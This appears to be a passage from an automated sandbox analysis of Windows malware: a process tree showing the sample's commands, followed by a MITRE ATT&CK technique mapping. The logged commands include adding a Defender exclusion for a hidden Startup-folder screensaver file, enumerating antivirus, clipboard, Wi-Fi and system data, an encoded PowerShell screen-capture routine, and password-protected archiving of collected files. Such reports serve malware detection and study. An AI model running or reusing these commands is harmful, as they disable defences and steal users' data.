        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CO 86A6D6321E8BBF6C
        5⤵
        Executes a command shell one-liner
        
        PID:4076
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CSK C7744F8BA9D9B943
        5⤵
        Executes a command shell one-liner
        
        PID:3404
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SK 1078816BEE41A21E
        5⤵
        Executes a command shell one-liner
        
        PID:464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net stop winmgmt /y > nul 2>&1
        5⤵
        Executes a command shell one-liner
        
        PID:4756
      - C:\Windows\system32\net.exe
        
        net stop winmgmt /y
        6⤵
        
        PID:4004
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop winmgmt /y
        7⤵
        
        PID:3220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net start winmgmt /y > nul 2>&1
        5⤵
        Executes a command shell one-liner
        
        PID:1536
      - C:\Windows\system32\net.exe
        
        net start winmgmt /y
        6⤵
        
        PID:1124
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start winmgmt /y
        7⤵
        
        PID:3872
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc stop winmgmt > nul 2>&1
        5⤵
        Executes a command shell one-liner
        
        PID:1032
      - C:\Windows\system32\sc.exe
        
        sc stop winmgmt
        6⤵
        Launches sc.exe
        
        PID:4896
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc start winmgmt > nul 2>&1
        5⤵
        Executes a command shell one-liner
        
        PID:1396
      - C:\Windows\system32\sc.exe
        
        sc start winmgmt
        6⤵
        Launches sc.exe
        
        PID:4416
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ipconfig /flushdns > nul 2>&1
        5⤵
        Executes a command shell one-liner
        
        PID:3796
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /flushdns
        6⤵
        Gathers network information
        
        PID:4192
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        Executes a command shell one-liner
        
        PID:3908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌‏.scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌‏.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1348
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4108
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h4mvt4p0\h4mvt4p0.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2028
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C51.tmp" "c:\Users\Admin\AppData\Local\Temp\h4mvt4p0\CSC3299940D8EC640D58838184BDF22FCE5.TMP"
        6⤵
        
        PID:2508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3868
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:712
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI38202\rar.exe a -r -hp"1231" "C:\Users\Admin\AppData\Local\Temp\VRJBn.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Users\Admin\AppData\Local\Temp\_MEI38202\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI38202\rar.exe a -r -hp"1231" "C:\Users\Admin\AppData\Local\Temp\VRJBn.zip" *
      4⤵
      Executes dropped EXE
      PID:3848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4072
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:988
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4428
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4516
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Drops file in System32 directory
PID:3688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Drops file in System32 directory
PID:4184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...